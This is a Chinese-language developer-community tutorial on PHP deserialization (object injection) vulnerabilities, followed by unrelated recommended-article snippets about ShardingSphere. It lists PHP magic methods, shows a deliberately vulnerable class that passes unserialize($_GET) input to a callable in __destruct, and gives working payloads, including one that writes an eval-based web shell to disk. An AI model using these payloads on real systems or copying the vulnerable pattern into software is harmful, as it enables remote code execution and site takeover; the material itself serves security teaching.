首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >PHP反序列化漏洞原理及示例

PHP反序列化漏洞原理及示例

原创
作者头像
小唐同学.
修改于 2022-06-06 01:55:16
修改于 2022-06-06 01:55:16
2.2K00
代码可运行
举报
文章被收录于专栏:CMS建站教程CMS建站教程
运行总次数:0
代码可运行

PHP反序列化

序列化与反序列化

序列化说通俗点就是把一个对象变成可以传输的字符串。

序列化过程中还会对不同属性的变量进行不同方式的变化

public的属性在序列化时,直接显示属性名 protected的属性在序列化时,会在属性名前增加0x00*0x00,其长度会增加3 private的属性在序列化时,会在属性名前增加0x00classname0x00,其长度会增加类名长度+2 反序列化就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

PHP魔法函数

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
__construct() #类的构造函数
__destruct() #类的析构函数,在对象被销毁时执行该函数
__call() #在对象中调用一个不可访问方法时调用
__callStatic() #用静态方式中调用一个不可访问方法时调用
__get() #获得一个类的成员变量时调用
__set() #设置一个类的成员变量时调用
__isset() #当对不可访问属性调用isset()或empty()时调用
__unset() #当对不可访问属性调用unset()时被调用。
__sleep() #执行serialize()时,先会调用这个函数
__wakeup() #执行unserialize()时,先会调用这个函数
__toString() #类被当成字符串时的回应方法
__invoke() #调用函数的方式调用一个对象时的回应方法
__set_state() #调用var_export()导出类时,此静态方法会被调用。
__clone() #当对象复制完成时调用
__autoload() #尝试加载未定义的类
__debugInfo() #打印所需调试信息序列化结构

反序列化漏洞

简介

PHP)反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于JavaPython等语言之中,但其原理基本相通。

原理

未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。 在反序列化的过程中自动触发了某些魔术方法。

触发条件

unserialize函数的变量可控,php文件中存在可利用的类,类中有魔法函数

示例
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
class demo{
 public $name;
 public $age;
 function __destruct(){
        $a = $this->name;
        $a($this->age);
 }
}
$h = new demo();
echo serialize($h);
unserialize($_GET['h']);
?>

payload

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
payload:(适用于destruct() wakeup())
O:4:"demo":2:{s:4:"name";s:6:"assert";s:3:"age";s:9:"phpinfo()";}
传木马
O:4:"demo":2:{s:4:"name";s:6:"assert";s:3:"age";s:64:"fputs(fopen('shell.php','w'),'<?php eval($_REQUEST["cmd"]);?>');";}

我们可以看到当,创建对象之后,没有调用该__destruct()函数,该函数也自动执行,也就是serialize()函数和unserialize()函数销毁了对象,触发了魔法函数的执行。

大致过程:

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
DistSQL:像数据库一样使用 Apache ShardingSphere
曾就职于京东科技,负责数据库产品研发,热爱开源,关注数据库生态,目前专注于 ShardingSphere 数据库中间件开发以及开源社区建设。
SphereEx
2021/07/20
7390
五分钟快速了解Apache ShardingSphere分库分表
Apache ShardingSphere 是一款分布式的数据库生态系统, 可以将任意数据库转换为分布式数据库,并通过数据分片、弹性伸缩、加密等能力对原有数据库进行增强。
架构狂人
2023/10/24
3860
五分钟快速了解Apache ShardingSphere分库分表
(一)ShardingSphere介绍
        随着版本不断更迭,ShardingSphere的核心功能也变得多元化起来。最开始Sharding-JDBC 1.x版本只有数据分片功能,到Sharding-JDBC 2.x版本开始支持数据库治理,如注册中心、配置中心等,再到3.x版本推出了Proxy产品,还增加了分布式事务,支持Atomikos、Narayana、Bitronix、Seata,4.x为Apache下的第一个版本,支持了更多种类的数据库,如今已经迭代到5.x版本。
用户1148526
2022/05/26
4.9K0
(一)ShardingSphere介绍
Kubernetes 环境下的数据库新命题
作者 | 潘娟 伴随着互联网应用场景逐渐深入到生活的各个角落,为了确保前端用户的使用体验,对互联网产品的后端架构性能提出了更高的需求。如今,开发以及运维人员正在将工作重心和优化重点放在了后端基础设施的可用性、一致性、扩展性、弹性以及全面自动化管理等能够提升效率的技术能力层面。 1 背景:Kubernetes 环境中的微服务与数据库   应用部署的变化   一方面,在处处充斥着大数据以及高并发场景的今天,后台技术人员往往会花费更多精力在解决『大规模业务数据的存储与应用』等问题上,以确保数据库等基础设施能够
深度学习与Python
2023/05/09
5930
Kubernetes 环境下的数据库新命题
打造基于 PostgreSQL/openGauss 的分布式数据库解决方案
Apache ShardingSphere Committer,SphereEx 中间件工程师。目前专注于 Apache ShardingSphere 及其子项目 ElasticJob 的研发。
落寞的鱼丶
2022/02/26
1.6K0
数据分片架构的下一次进化
随着手机和互联网成为人们眼中的日常必需品,网站和商业服务每周接收数十亿次访问的情况已经司空见惯——这还只是一个侧面。
深度学习与Python
2022/03/23
4590
数据分片架构的下一次进化
ShardingSphere介绍
ShardingSphere GitHub地址:https://github.com/apache/shardingsphere ShardingSphere 官网:https://shardingsphere.apache.org/index_zh.html
itze
2022/10/31
7980
ShardingSphere介绍
Apache顶级项目ShardingSphere最近都在干啥?
1、我们知道ShardingSphere已经成为Apache的顶级项目,那相较于之前,有没有新的挑战呢?
田帅萌
2020/05/29
2K0
星标19.8k的Apache顶级项目,助你做好云计算时代数据库管理
云计算时代的到来,使得云原生数据库日益重要,它通过提供可扩展性、高可用性和按需资源分配,满足了现代应用程序对弹性和灵活性的需求。随着多云和混合云策略的普及,云原生数据库在确保数据一致性、安全性和合规性方面也发挥着关键作用。
程序猿DD
2025/02/10
740
星标19.8k的Apache顶级项目,助你做好云计算时代数据库管理
MYSQLg高级-----分库分表是什么?(基本概念篇)
ShardingSphere 已于 2020 年 4 月 16 日成为 Apache 软件基金会的顶级项目。 欢迎通过邮件列表参与讨论。
默 语
2024/11/20
1460
MYSQLg高级-----分库分表是什么?(基本概念篇)
ShardingSphere 介绍与简单入门
于是,我将 Apache ShardingSphere 产品介绍与开发入门通篇阅读了一遍。
FoamValue
2020/09/24
6960
ShardingSphere 介绍与简单入门
ShardingSphere实现分库分表
  Apache ShardingSphere 是一套开源的分布式数据库解决方案组成的生态圈,它由 JDBC、Proxy 和 Sidecar(规划中)这 3 款既能够独立部署,又支持混合部署配合使用的产品组成。 它们均提供标准化的数据水平扩展、分布式事务和分布式治理等功能,可适用于如 Java 同构、异构语言、云原生等各种多样化的应用场景。
程序员云帆哥
2022/05/12
1.4K0
ShardingSphere实现分库分表
(二)ShardingSphere-Proxy集群式安装
        从上一篇介绍的产品路线已知,ShardingSphere当前对数据库接入端主要提供了JDBC和Proxy两款产品。ShardingSphere-JDBC面向开发人员,以jar包形式提供服务,因此不需要安装,只要部署好相关jar包和数据库系统提供的JDBC驱动程序,再做适当配置即可使用。ShardingSphere-Proxy面向DBA和运维人员,以代理方式提供服务,有中心静态入口,需要安装部署过程。
用户1148526
2022/05/26
2.3K0
为了让你搞定数据库选型,这些工程师重写了 26 万行代码
作者 | 王一鹏 无论多么有主见的架构师,在做数据库选型的时候,也可能会犯难。 传统 SQL、NoSQL 还是 NewSQL?架构风格是以 久经考验的关系型数据库为主,还是偏向所谓原生的分布式架构?如果提及具体产品,那选择就更多了,TiDB、OceanBase、PolarDB、TDSQL、GaussDB、MongoDB…… 现在还有许多服务于新场景的产品,比如处理时序数据的 TDengine,处理图数据的 Nebula Graph……以及最老派又最完善的 Oracle。 如果从业务场景或即将面临的迁移成
深度学习与Python
2023/04/01
2910
为了让你搞定数据库选型,这些工程师重写了 26 万行代码
十五张图带你快速入门 shardingsphere-proxy 5.5
Apache ShardingSphere 是一款分布式的数据库生态系统,它包含两大产品:
勇哥java实战
2024/08/25
1.1K0
十五张图带你快速入门 shardingsphere-proxy 5.5
ShardingSphere实践(6)——弹性伸缩
        对于使用单数据库运行的系统来说,如何安全简单地将数据迁移至水平分片的数据库上,一直以来都是一个迫切的需求。对于已经使用了ShardingSphere的用户来说,随着业务规模的快速变化,也可能需要对现有的分片集群进行弹性扩容或缩容。
用户1148526
2022/06/12
4.1K0
ShardingSphere实践(6)——弹性伸缩
看完这一篇,ShardingSphere-jdbc 实战再也不怕了
谈到分库分表中间件时,我们自然而然的会想到 ShardingSphere-JDBC 。
勇哥java实战
2023/02/28
2K0
分库分表,我为什么要用Shardingsphere呢?
分库分表推荐Spring Cloud Alibaba+Seata+Shardingsphere
35岁程序员那些事
2022/09/23
1.6K0
Apache ShardingSphere在转转亿级交易系统落地实践
这几年随着转转二手业务的快速发展,订单系统的基础性能问题也愈发严重,作为系统运转的基石,订单库压力不容小觑。 面临的问题:
阿珍
2023/01/03
6460
ShardingSphere解决海量数据分库分表
互联网高速发展,同时也带来的海量数据存储问题。传统关系型数据库的单库单表已经很难支撑,如何高效存储和访问这些数据,成为业内急需解决的问题。解决思路有两个方向:
微观技术
2021/04/19
8670
ShardingSphere解决海量数据分库分表
相关推荐
DistSQL:像数据库一样使用 Apache ShardingSphere
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验